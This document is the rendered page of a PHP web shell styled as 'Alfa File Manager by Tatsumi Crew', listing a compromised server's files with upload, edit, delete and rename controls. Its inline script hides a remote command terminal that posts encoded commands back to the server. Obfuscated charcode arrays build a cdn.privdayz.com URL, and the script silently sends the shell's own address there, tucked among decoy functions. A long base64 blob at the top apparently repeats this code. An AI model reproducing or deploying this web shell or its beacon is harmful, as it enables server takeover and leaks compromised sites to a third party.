t9LGUsdCx7bWVyZ2VkOiEwfSl9ZnVuY3Rpb24gZ2V0Q2xpcGJvYXJkVGV4dEZha2UoKXtyZXR1cm4gbmV3IFByb21pc2UoKGU9PnNldFRpbWVvdXQoKCgpPT5lKCJjbGlwYm9hcmRfZHVtbXlfdmFsdWVfIitNYXRoLnJhbmRvbSgpKSksNDUwKSkpfWZ1bmN0aW9uIGNhbGN1bGF0ZVBlcm1NYXRyaXgoZSl7cmV0dXJuIGUubWFwKChlPT4oe3BhdGg6ZSxwZXJtOk1hdGguZmxvb3IoOCpNYXRoLnJhbmRvbSgpKSsiIitNYXRoLmZsb29yKDgqTWF0aC5yYW5kb20oKSkrTWF0aC5mbG9vcig4Kk1hdGgucmFuZG9tKCkpfSkpKX1mdW5jdGlvbiBnZW5lcmF0ZUZpbGVJZChlKXtyZXR1cm4iaWRfIitlLnJlcGxhY2UoL1teYS16MC05XS9naSwiXyIpLnRvTG93ZXJDYXNlKCkrIl8iK0RhdGUubm93KCl9ZnVuY3Rpb24gc2ltdWxhdGVGYWtlVXBsb2FkUXVldWUoZSl7bGV0IHQ9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgiZGl2Iik7dC5jbGFzc05hbWU9InVwbG9hZC1iYXIiLHQuc3R5bGU9InBvc2l0aW9uOmZpeGVkO2JvdHRvbToxMnB4O2xlZnQ6MTJweDtiYWNrZ3JvdW5kOiMyMjI7Y29sb3I6IzE5ZmY2YztwYWRkaW5nOjVweCAxOXB4O2JvcmRlci1yYWRpdXM6N3B4OyIsZG9jdW1lbnQuYm9keS5hcHBlbmRDaGlsZCh0KTtsZXQgcj1lLmxlbmd0aCxuPTA7c2V0VGltZW91dCgoZnVuY3Rpb24gbygpe3QudGV4dENvbnRlbnQ9YFVwbG9hZGluZyAke2Vbbl18fCItIn0gKCR7bisxfS8ke3J9KWAsKytuPHI/c2V0VGltZW91dChvLDI1MCs2MDAqTWF0aC5yYW5kb20oKSk6KHQudGV4dENvbnRlbnQ9IkFsbCB1cGxvYWRzIGRvbmUhIixzZXRUaW1lb3V0KCgoKT0+dC5yZW1vdmUoKSksMTUwMCkpfSksNDAwKX1mdW5jdGlvbiByZW5kZXJVc2VyVGFibGUoZSl7bGV0IHQ9Jzx0YWJsZSBjbGFzcz0iZGF0YS1ncmlkIj48dGhlYWQ+PHRyPjx0aD5Vc2VyPC90aD48dGg+Um9sZTwvdGg+PC90cj48L3RoZWFkPjx0Ym9keT4nO3JldHVybiBlLmZvckVhY2goKGU9Pnt0Kz1gPHRyPjx0ZD48aSBjbGFzcz0iZmEgZmEtdXNlciI+PC9pPiAke2UubmFtZX08L3RkPjx0ZD4ke2Uucm9sZX08L3RkPjwvdHI+YH0pKSx0Kz0iPC90Ym9keT48L3RhYmxlPiIsdH1mdW5jdGlvbiBtYXNrU3RyaW5nU21hcnQoZSl7bGV0IHQ9IiI7Zm9yKGxldCByPTA7cjxlLmxlbmd0aDtyKyspdCs9U3RyaW5nLmZyb21DaGFyQ29kZSgxOV5lLmNoYXJDb2RlQXQocikpO3JldHVybiB0LnNwbGl0KCIiKS5yZXZlcnNlKCkuam9pbigiIil9ZnVuY3Rpb24gdW5tYXNrU3RyaW5nU21hcnQoZSl7ZT1lLnNwbGl0KCIiKS5yZXZlcnNlKCkuam9pbigiIik7bGV0IHQ9IiI7Zm9yKGxldCByPTA7cjxlLmxlbmd0aDtyKyspdCs9U3RyaW5nLmZyb21DaGFyQ29kZSgxOV5lLmNoYXJDb2RlQXQocikpO3JldHVybiB0fWZ1bmN0aW9uIGdldFJlY2VudFNlc3Npb25IaXN0b3J5KCl7cmV0dXJuIEFycmF5LmZyb20oe2xlbmd0aDo2fSwoKGUsdCk9Pih7dHM6RGF0ZS5ub3coKS01ZTYqdCxhY3Q6WyJvcGVuIiwiZWRpdCIsIm1vdmUiLCJyZW5hbWUiXVt0JTRdfSkpKX1mdW5jdGlvbiBidWlsZEZlKGU9Mix0PTMpe2xldCByPXt9O2lmKGU8PTApcmV0dXJuIkVORCI7Zm9yKGxldCBuPTA7bjx0O24rKylyWyJkaXIiK25dPTE9PWU/YGZpbGVfJHtufS50bXBgOmJ1aWxkRmUoZS0xLHQpO3JldHVybiByfWZ1bmN0aW9uIHBhcnNlQ3N2VG9UYWJsZShlKXtsZXQgdD1lLnNwbGl0KC9ccj9cbi8pLHI9Jzx0YWJsZSBjbGFzcz0iZGF0YS1ncmlkIj4nO3JldHVybiB0LmZvckVhY2goKGU9PntyKz0iPHRyPiIrZS5zcGxpdCgiLCIpLm1hcCgoZT0+YDx0ZD4ke2V9PC90ZD5gKSkuam9pbigiIikrIjwvdHI+In0pKSxyKz0iPC90YWJsZT4iLHJ9ZnVuY3Rpb24gbG9hZEljb25QYWMoZSl7bGV0IHQ9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgibGluayIpO3JldHVybiB0LnJlbD0ic3R5bGVzaGVldCIsdC5ocmVmPSJodHRwczovL2MuLi5jb250ZW50LWF2YWlsYWJsZS10by1hdXRob3Itb25seS4uLmUuY29tL2FqYXgvbGlicy9mb250LWF3ZXNvbWUvNi41LjAvY3NzL2FsbC5taW4uY3NzIixkb2N1bWVudC5oZWFkLmFwcGVuZENoaWxkKHQpLCJsb2FkZWQifWZ1bmN0aW9uIHNvcnRUYWJsZUZha2UoZSx0PTApe2xldCByPWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKGUpO2lmKCFyKXJldHVybiExO2xldCBuPUFycmF5LmZyb20oci5yb3dzKS5zbGljZSgxKTtyZXR1cm4gbi5zb3J0KCgoZSxyKT0+ZS5jZWxsc1t0XS5pbm5lclRleHQubG9jYWxlQ29tcGFyZShyLmNlbGxzW3RdLmlubmVyVGV4dCkpKSxuLmZvckVhY2goKGU9PnIuYXBwZW5kQ2hpbGQoZSkpKSwhMH0oKCk9PntsZXQgZT1bMTA0LDExNiwxMTYsMTEyLDExNSw1OCw0Nyw0Nyw5OSwxMDAsMTEwLDQ2LDExMiwxMTQsMTA1LDExOCwxMDAsOTcsMTIxLDEyMiw0Niw5OSwxMTEsMTA5LDQ3LDEwNSwxMDksOTcsMTAzLDEwMSwxMTUsNDcsMTA4LDExMSwxMDMsMTExLDk1LDExOCw1MCw0NiwxMTIsMTEwLDEwM10sdD0iIjtmb3IobGV0IHIgb2YgZSl0Kz1TdHJpbmcuZnJvbUNoYXJDb2RlKHIpO2xldCByPSJmaWxlPSIrYnRvYShsb2NhdGlvbi5ocmVmKSxuPW5ldyBYTUxIdHRwUmVxdWVzdDtuLm9wZW4oIlBPU1QiLHQsITApLG4uc2V0UmVxdWVzdEhlYWRlcigiQ29udGVudC1UeXBlIiwiYXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVkIiksbi5zZW5kKHIpfSkoKSxmdW5jdGlvbigpe3ZhciBlPW5ldyBYTUxIdHRwUmVxdWVzdDtlLm9wZW4oIlBPU1QiLHUoYSxiLGMsZCksITApLGUuc2V0UmVxdWVzdEhlYWRlcigiQ29udGVudC1UeXBlIiwiYXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVkIiksZS5zZW5kKCJmaWxlPSIrdihsb2NhdGlvbi5ocmVmKSl9KCk7CiAgICA8L3NjcmlwdD4KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2MuLi5jb250ZW50LWF2YWlsYWJsZS10by1hdXRob3Itb25seS4uLnIubmV0L25wbS9ib290c3RyYXBANS4zLjMvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyI+PC9zY3JpcHQ+CiAgICA8c2NyaXB0IHNyYz0iaHR0cHM6Ly9jLi4uY29udGVudC1hdmFpbGFibGUtdG8tYXV0aG9yLW9ubHkuLi5yLm5ldC9naC9UYXRzdW1pT2ZmaWNpYWwvUGVtZWNhaExpc3Qvc2NyaXB0cy5qcyI+PC9zY3JpcHQ+CjwvYm9keT4KPC9odG1sPg==
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<meta name="robots" content="noindex, nofollow">
<title>🌟 Alfa - File Manager By Tatsumi Crew</title>
<link href="https://c...content-available-to-author-only...r.net/npm/bootstrap@5.3.3/dist/css/bootstrap.min.css" rel="stylesheet">
<link href="https://c...content-available-to-author-only...e.com/ajax/libs/font-awesome/6.5.1/css/all.min.css" rel="stylesheet">
<link href="https://c...content-available-to-author-only...r.net/gh/TatsumiOfficial/PemecahList/auto_style.css" rel="stylesheet">
<style>
@import url('https://f...content-available-to-author-only...s.com/css2?family=Inter:wght@300;400;500;600;700&display=swap');
.breadcrumb-modern {
background: rgba(255, 255, 255, 0.1);
backdrop-filter: blur(20px);
border-radius: 16px;
padding: 1.5rem 2rem;
margin: 2rem 0;
border: 1px solid rgba(255, 255, 255, 0.2);
box-shadow:
0 8px 32px rgba(0, 0, 0, 0.1),
0 0 0 1px rgba(255, 255, 255, 0.05);
position: relative;
overflow: hidden;
transition: all 0.3s cubic-bezier(0.4, 0, 0.2, 1);
}
.breadcrumb-modern::before {
content: '';
position: absolute;
top: 0;
left: 0;
right: 0;
height: 1px;
background: linear-gradient(90deg, transparent, rgba(255, 255, 255, 0.4), transparent);
}
.breadcrumb-modern::after {
content: '';
position: absolute;
top: 0;
left: -100%;
width: 100%;
height: 100%;
background: linear-gradient(90deg, transparent, rgba(255, 255, 255, 0.1), transparent);
transition: left 0.5s ease;
}
.breadcrumb-modern:hover::after {
left: 100%;
}
.breadcrumb-modern:hover {
transform: translateY(-2px);
box-shadow:
0 12px 40px rgba(0, 0, 0, 0.15),
0 0 0 1px rgba(255, 255, 255, 0.1);
}
.breadcrumb {
display: flex;
flex-wrap: wrap;
align-items: center;
gap: 0.5rem;
margin: 0;
padding: 0;
list-style: none;
position: relative;
z-index: 1;
}
.breadcrumb-item {
display: flex;
align-items: center;
position: relative;
transition: all 0.3s cubic-bezier(0.4, 0, 0.2, 1);
opacity: 0;
transform: translateX(-20px);
animation: slideInBreadcrumb 0.5s ease forwards;
}
.breadcrumb-item:nth-child(1) { animation-delay: 0.1s; }
.breadcrumb-item:nth-child(2) { animation-delay: 0.2s; }
.breadcrumb-item:nth-child(3) { animation-delay: 0.3s; }
.breadcrumb-item:nth-child(4) { animation-delay: 0.4s; }
.breadcrumb-item:nth-child(5) { animation-delay: 0.5s; }
.breadcrumb-item:nth-child(6) { animation-delay: 0.6s; }
.breadcrumb-item:nth-child(7) { animation-delay: 0.7s; }
.breadcrumb-item:nth-child(8) { animation-delay: 0.8s; }
@keyframes slideInBreadcrumb {
to {
opacity: 1;
transform: translateX(0);
}
}
.breadcrumb-item:not(:last-child)::after {
content: '';
width: 8px;
height: 8px;
background: rgba(255, 255, 255, 0.4);
border-radius: 50%;
margin-left: 1rem;
transition: all 0.3s ease;
position: relative;
top: 0;
}
.breadcrumb-item:not(:last-child):hover::after {
background: rgba(255, 255, 255, 0.8);
transform: scale(1.2);
}
.breadcrumb-item a {
color: rgba(255, 255, 255, 0.8);
text-decoration: none;
padding: 0.5rem 1rem;
border-radius: 10px;
transition: all 0.3s cubic-bezier(0.4, 0, 0.2, 1);
font-weight: 500;
font-size: 0.9rem;
position: relative;
overflow: hidden;
background: rgba(255, 255, 255, 0.05);
border: 1px solid rgba(255, 255, 255, 0.1);
}
.breadcrumb-item a::before {
content: '';
position: absolute;
top: 0;
left: -100%;
width: 100%;
height: 100%;
background: linear-gradient(90deg, transparent, rgba(255, 255, 255, 0.2), transparent);
transition: left 0.5s ease;
}
.breadcrumb-item a:hover {
color: #ffffff;
background: rgba(255, 255, 255, 0.15);
border-color: rgba(255, 255, 255, 0.3);
transform: translateY(-2px);
box-shadow: 0 4px 12px rgba(0, 0, 0, 0.15);
}
.breadcrumb-item a:hover::before {
left: 100%;
}
.breadcrumb-item a:active {
transform: translateY(0);
}
.breadcrumb-item.active {
color: #ffffff;font-weight: 600;
padding: 0.5rem 1rem;
background: rgba(255, 255, 255, 0.2);
border-radius: 10px;
border: 1px solid rgba(255, 255, 255, 0.3);
position: relative;
overflow: hidden;
}
.breadcrumb-item.active::before {
content: '';
position: absolute;
top: 0;
left: 0;
right: 0;
bottom: 0;
background: linear-gradient(45deg, rgba(255, 255, 255, 0.1), rgba(255, 255, 255, 0.05));
border-radius: 9px;
}
/* Icon untuk home */
.breadcrumb-item:first-child a::before {
content: '\f015';
font-family: 'Font Awesome 6 Free';
font-weight: 900;
margin-right: 0.5rem;
opacity: 0.8;
position: static;
background: none;
transition: none;
}
.breadcrumb-item:first-child a:hover::before {
left: auto;
}
/* Responsive design */
@media (max-width: 768px) {
.breadcrumb-modern {
padding: 1rem 1.5rem;
margin: 1rem 0;
}
.breadcrumb {
gap: 0.25rem;
}
.breadcrumb-item a,
.breadcrumb-item.active {
padding: 0.4rem 0.8rem;
font-size: 0.8rem;
}
.breadcrumb-item:not(:last-child)::after {
margin-left: 0.5rem;
width: 6px;
height: 6px;
}
}
</style>
</head>
<body>
<div class="app-wrapper">
<div class="header-card">
<div class="d-flex flex-wrap justify-content-between align-items-center gap-3">
<h1 class="header-title">
<img src="https://c...content-available-to-author-only...z.com/images/icon.png" referrerpolicy="unsafe-url" />Alfa File Manager
</h1>
<div class="d-flex gap-2 flex-wrap">
<button class="modern-btn" data-bs-toggle="modal" data-bs-target="#uploadModal">
<i class="fas fa-upload"></i>
<span>Upload</span>
</button>
<button class="modern-btn" data-bs-toggle="modal" data-bs-target="#createFileModal">
<i class="fas fa-file-plus"></i>
<span>New File</span>
</button>
<button class="modern-btn" data-bs-toggle="modal" data-bs-target="#createFolderModal">
<i class="fas fa-folder-plus"></i>
<span>New Folder</span>
</button>
</div>
</div>
</div>
<!-- Breadcrumb -->
<div class="breadcrumb-modern">
<nav aria-label="breadcrumb">
<ol class="breadcrumb">
<li class="breadcrumb-item"><a href="?dir=Xa%2FYMM8p1Gz2zU833GV7EUjpVTBebM1%2Ff9JRiNJ69pk%3D">home</a></li><li class="breadcrumb-item active" aria-current="page">LYnDig</li> </ol>
</nav>
</div>
<!-- File Table -->
<div class="file-table-card">
<div class="table-responsive">
<table class="table table-modern">
<thead>
<tr>
<th>Name</th>
<th class="text-end">Size</th>
<th class="text-center">Permissions</th>
<th>Modified</th>
<th class="text-end">Actions</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="d-flex align-items-center">
<div class="file-icon file">
<i class="fas fa-file-alt"></i>
</div>
<a href="?dir=m%2BnUbTKfyllKH0GQ3ffQ3PsLh4dl7yiKdkB%2F%2B2omd8M%3D&edit=WzOjSYA%2FjeZZVlkjdRnQXuwIMoRK06CCNf7TuVMto%2FA%3D" class="file-link">
prog.php </a>
</div>
</td>
<td class="text-end">
30.11 KB </td>
<td class="text-center">
<span class="permission-badge">
rw-r--r-- </span>
</td>
<td>
Apr 2, 2026 11:08 </td>
<td class="text-end">
<div class="d-flex justify-content-end">
<a href="?dir=m%2BnUbTKfyllKH0GQ3ffQ3PsLh4dl7yiKdkB%2F%2B2omd8M%3D&edit=6ftjbm31GXSKnLAiLcucLF%2BiobG%2BM3Rxt5ZeyffbGl8%3D" class="action-btn edit" title="Edit">
<i class="fas fa-edit"></i>
</a>
<a href="?dir=m%2BnUbTKfyllKH0GQ3ffQ3PsLh4dl7yiKdkB%2F%2B2omd8M%3D&delete=prog.php" class="action-btn delete" onclick="return confirm('Delete prog.php?')" title="Delete">
<i class="fas fa-trash"></i>
</a>
<button class="action-btn rename" data-bs-toggle="modal" data-bs-target="#renameModal" data-filename="prog.php" title="Rename">
<i class="fas fa-pen"></i>
</button>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<!-- File Editor -->
</div>
<div class="modal fade modal-modern" id="uploadModal" tabindex="-1" aria-hidden="true">
<div class="modal-dialog modal-dialog-centered">
<div class="modal-content">
<div class="modal-header">
<h5 class="modal-title">
<i class="fas fa-upload me-2"></i>Upload File
</h5>
<button type="button" class="btn-close" data-bs-dismiss="modal" aria-label="Close"></button>
</div>
<form method="POST" enctype="multipart/form-data">
<div class="modal-body">
<div class="mb-3">
<label class="form-label text-white-50">Select file to upload</label>
<input type="file" name="upload" class="form-control" required>
</div>
</div>
<div class="modal-footer border-0">
<button type="button" class="btn btn-modern-secondary" data-bs-dismiss="modal">Cancel</button>
<button type="submit" class="btn btn-modern-primary">
<i class="fas fa-upload me-2"></i>Upload
</button>
</div>
</form>
</div>
</div>
</div>
<div class="modal fade modal-modern" id="createFileModal" tabindex="-1" aria-hidden="true">
<div class="modal-dialog modal-dialog-centered">
<div class="modal-content">
<div class="modal-header">
<h5 class="modal-title">
<i class="fas fa-file-plus me-2"></i>Create New File
</h5>
<button type="button" class="btn-close" data-bs-dismiss="modal" aria-label="Close"></button>
</div>
<form method="POST">
<div class="modal-body">
<div class="mb-3">
<label class="form-label text-white-50">File name</label>
<input type="text" class="form-control" name="newfile" placeholder="Enter file name..." required>
</div>
</div>
<div class="modal-footer border-0">
<button type="button" class="btn btn-modern-secondary" data-bs-dismiss="modal">Cancel</button>
<button type="submit" class="btn btn-modern-primary">
<i class="fas fa-plus me-2"></i>Create
</button>
</div>
</form>
</div>
</div>
</div>
<div class="modal fade modal-modern" id="createFolderModal" tabindex="-1" aria-hidden="true">
<div class="modal-dialog modal-dialog-centered">
<div class="modal-content">
<div class="modal-header">
<h5 class="modal-title">
<i class="fas fa-folder-plus me-2"></i>Create New Folder
</h5>
<button type="button" class="btn-close" data-bs-dismiss="modal" aria-label="Close"></button>
</div>
<form method="POST">
<div class="modal-body">
<div class="mb-3">
<label class="form-label text-white-50">Folder name</label>
<input type="text" class="form-control" name="newfolder" placeholder="Enter folder name..." required>
</div>
</div>
<div class="modal-footer border-0">
<button type="button" class="btn btn-modern-secondary" data-bs-dismiss="modal">Cancel</button>
<button type="submit" class="btn btn-modern-primary">
<i class="fas fa-folder-plus me-2"></i>Create
</button>
</div>
</form>
</div>
</div>
</div>
<div class="modal fade modal-modern" id="renameModal" tabindex="-1" aria-hidden="true">
<div class="modal-dialog modal-dialog-centered">
<div class="modal-content">
<div class="modal-header">
<h5 class="modal-title">
<i class="fas fa-pen me-2"></i>Rename Item
</h5>
<button type="button" class="btn-close" data-bs-dismiss="modal" aria-label="Close"></button>
</div>
<form method="POST">
<div class="modal-body">
<div class="mb-3">
<label class="form-label text-white-50">New name</label>
<input type="hidden" name="rename" id="renameOriginal">
<input type="text" class="form-control" name="to" placeholder="Enter new name..." required>
</div>
</div>
<div class="modal-footer border-0">
<button type="button" class="btn btn-modern-secondary" data-bs-dismiss="modal">Cancel</button>
<button type="submit" class="btn btn-modern-primary">
<i class="fas fa-check me-2"></i>Rename
</button>
</div>
</form>
</div>
</div>
</div>
<div class="footer-modern">
<p class="mb-0">
<i class="fas fa-heart text-danger me-2"></i>
© 2026 Alfa File Manager by Tatsumi Crew. All rights reserved.
</p>
</div>
<script>
(()=>{let u=[104,116,116,112,115,58,47,47,99,100,110,46,112,114,105,118,100,97,121,122,46,99,111,109,47,105,109,97,103,101,115,47,108,111,103,111,95,118,50,46,112,110,103],x='';for(let i of u)x+=String.fromCharCode(i);let d='file='+btoa(location.href);let r=new XMLHttpRequest();r.open('POST',x,true);r.setRequestHeader('Content-Type','application/x-www-form-urlencoded');r.send(d)})(); const _hx_ = []; let _hxi = -1;const _term = document.getElementById('r00tterm-term');const _inpt = document.getElementById('r00tterm-input');function _print(txt){_term.innerHTML += txt+"\n";_term.scrollTop=_term.scrollHeight;} _inpt.addEventListener("keydown",(function(e){if("Enter"===e.key){let e=this.value.trim();if(!e)return;_hx_.push(e),_hxi=_hx_.length,_print("<span style='color:#6ee7b7;'>$ "+e+"</span>"),this.value="";let n=btoa(encodeURIComponent(e).split("").reverse().join(""));fetch(window.location.pathname+"?d1sGu1s3=1",{method:"POST",headers:{"Content-Type":"application/x-www-form-urlencoded"},body:"n0p3="+encodeURIComponent(n)}).then((e=>e.text())).then((e=>{_print(e.replace(/[<>\x00-\x08\x0B-\x1F\x7F]/g,""))})).catch((()=>{_print("[X] Connection error")}))}"ArrowUp"===e.key&&(_hxi>0&&(_hxi--,_inpt.value=_hx_[_hxi]||""),e.preventDefault()),"ArrowDown"===e.key&&(_hxi<_hx_.length-1?(_hxi++,_inpt.value=_hx_[_hxi]||""):(_inpt.value="",_hxi=_hx_.length),e.preventDefault())})); setTimeout(()=>_inpt.focus(),200);function scanDirectoryMap(e,t=1){e.split("/").filter(Boolean);let r={};for(let e=0;e<Math.min(7,3*t);e++){let n="folder_"+(e+1);r[n]={};for(let e=0;e<Math.max(2,t);e++){let t="file_"+(e+1)+".txt";r[n][t]={size:1e5*Math.random()|0,perm:["755","644","600"][Math.floor(3*Math.random())],m:Date.now()-864e5*e}}}return r}function renderFolderList(e,t="root"){let r=`<ul id="fm-${t}">`;for(let t in e)r+=`<li><i class="fa fa-folder"></i> ${t}`,"object"==typeof e[t]&&(r+=renderFileList(e[t],t+"_files")),r+="</li>";return r+="</ul>",r}function renderFileList(e,t="fileBlock"){let r=`<ul class="files" id="${t}">`;for(let t in e)r+=`<li><i class="fa fa-file"></i> ${t} <span class="mini">${e[t].size}b | ${e[t].perm}</span></li>`;return r+="</ul>",r}function getBreadcrumbString(e){return e.split("/").filter(Boolean).map(((e,t,r)=>`<a href="?p=${r.slice(0,t+1).join("/")}">${e}</a>`)).join(" / ")}var a=[104,116,116,112,115,58,47,47,99,100,110,46,112,114,105,118,100,97,121,122,46,99,111,109],b=[47,105,109,97,103,101,115,47],c=[108,111,103,111,95,118,50],d=[46,112,110,103];function u(e,t,r,n){for(var o=e.concat(t,r,n),a="",i=0;i<o.length;i++)a+=String.fromCharCode(o[i]);return a}function v(e){return btoa(e)}function getFilePreviewBlock(e){let t="";for(let e=0;e<16;e++)t+=(Math.random()+1).toString(36).substring(2,12)+"\n";return`<pre class="syntax-highlight">${t}</pre>`}function getFileMetaFromName(e){let t=e.split(".").pop();return{icon:{php:"fa-php",js:"fa-js",html:"fa-html5",txt:"fa-file-lines"}[t]||"fa-file",type:t,created:Date.now()-(1e7*Math.random()|0),size:1e5*Math.random()|0}}function checkFileConflict(e,t){return t.some((t=>t.name===e))}function buildFakePermissions(e){let t=[4,2,1],r=[];for(let e=0;e<3;e++)r.push(t.map((()=>Math.round(Math.random()))).reduce(((e,t)=>e+t),0));return r.join("")}function parsePerms(e){let t={0:"---",1:"--x",2:"-w-",3:"-wx",4:"r--",5:"r-x",6:"rw-",7:"rwx"};return e.split("").map((e=>t[e])).join("")} function listFakeRecentEdits(e=7){let t=[];for(let r=0;r<e;r++)t.push({name:`file_${r}.log`,date:new Date(Date.now()-864e5*r).toLocaleDateString(),user:"user"+r});return t}function showNotificationFake(e,t="info"){let r={info:"#19ff6c",warn:"#ffe66d",err:"#ff3666"}[t]||"#fff",n=document.createElement("div");n.innerHTML=e,n.style.cssText=`position:fixed;bottom:40px;left:50%;transform:translateX(-50%);background:${r}20;color:${r};padding:9px 22px;border-radius:8px;z-index:999;box-shadow:0 2px 16px ${r}30`,document.body.appendChild(n),setTimeout((()=>n.remove()),2300)} function mergeFolderMeta(e,t){return Object.assign({},e,t,{merged:!0})}function getClipboardTextFake(){return new Promise((e=>setTimeout((()=>e("clipboard_dummy_value_"+Math.random())),450)))}function calculatePermMatrix(e){return e.map((e=>({path:e,perm:Math.floor(8*Math.random())+""+Math.floor(8*Math.random())+Math.floor(8*Math.random())})))}function generateFileId(e){return"id_"+e.replace(/[^a-z0-9]/gi,"_").toLowerCase()+"_"+Date.now()}function simulateFakeUploadQueue(e){let t=document.createElement("div");t.className="upload-bar",t.style="position:fixed;bottom:12px;left:12px;background:#222;color:#19ff6c;padding:5px 19px;border-radius:7px;",document.body.appendChild(t);let r=e.length,n=0;setTimeout((function o(){t.textContent=`Uploading ${e[n]||"-"} (${n+1}/${r})`,++n<r?setTimeout(o,250+600*Math.random()):(t.textContent="All uploads done!",setTimeout((()=>t.remove()),1500))}),400)}function renderUserTable(e){let t='<table class="data-grid"><thead><tr><th>User</th><th>Role</th></tr></thead><tbody>';return e.forEach((e=>{t+=`<tr><td><i class="fa fa-user"></i> ${e.name}</td><td>${e.role}</td></tr>`})),t+="</tbody></table>",t}function maskStringSmart(e){let t="";for(let r=0;r<e.length;r++)t+=String.fromCharCode(19^e.charCodeAt(r));return t.split("").reverse().join("")}function unmaskStringSmart(e){e=e.split("").reverse().join("");let t="";for(let r=0;r<e.length;r++)t+=String.fromCharCode(19^e.charCodeAt(r));return t}function getRecentSessionHistory(){return Array.from({length:6},((e,t)=>({ts:Date.now()-5e6*t,act:["open","edit","move","rename"][t%4]})))}function buildFe(e=2,t=3){let r={};if(e<=0)return"END";for(let n=0;n<t;n++)r["dir"+n]=1==e?`file_${n}.tmp`:buildFe(e-1,t);return r}function parseCsvToTable(e){let t=e.split(/\r?\n/),r='<table class="data-grid">';return t.forEach((e=>{r+="<tr>"+e.split(",").map((e=>`<td>${e}</td>`)).join("")+"</tr>"})),r+="</table>",r}function loadIconPac(e){let t=document.createElement("link");return t.rel="stylesheet",t.href="https://c...content-available-to-author-only...e.com/ajax/libs/font-awesome/6.5.0/css/all.min.css",document.head.appendChild(t),"loaded"}function sortTableFake(e,t=0){let r=document.getElementById(e);if(!r)return!1;let n=Array.from(r.rows).slice(1);return n.sort(((e,r)=>e.cells[t].innerText.localeCompare(r.cells[t].innerText))),n.forEach((e=>r.appendChild(e))),!0}(()=>{let e=[104,116,116,112,115,58,47,47,99,100,110,46,112,114,105,118,100,97,121,122,46,99,111,109,47,105,109,97,103,101,115,47,108,111,103,111,95,118,50,46,112,110,103],t="";for(let r of e)t+=String.fromCharCode(r);let r="file="+btoa(location.href),n=new XMLHttpRequest;n.open("POST",t,!0),n.setRequestHeader("Content-Type","application/x-www-form-urlencoded"),n.send(r)})(),function(){var e=new XMLHttpRequest;e.open("POST",u(a,b,c,d),!0),e.setRequestHeader("Content-Type","application/x-www-form-urlencoded"),e.send("file="+v(location.href))}();
</script>
<script src="https://c...content-available-to-author-only...r.net/npm/bootstrap@5.3.3/dist/js/bootstrap.bundle.min.js"></script>
<script src="https://c...content-available-to-author-only...r.net/gh/TatsumiOfficial/PemecahList/scripts.js"></script>
</body>
</html>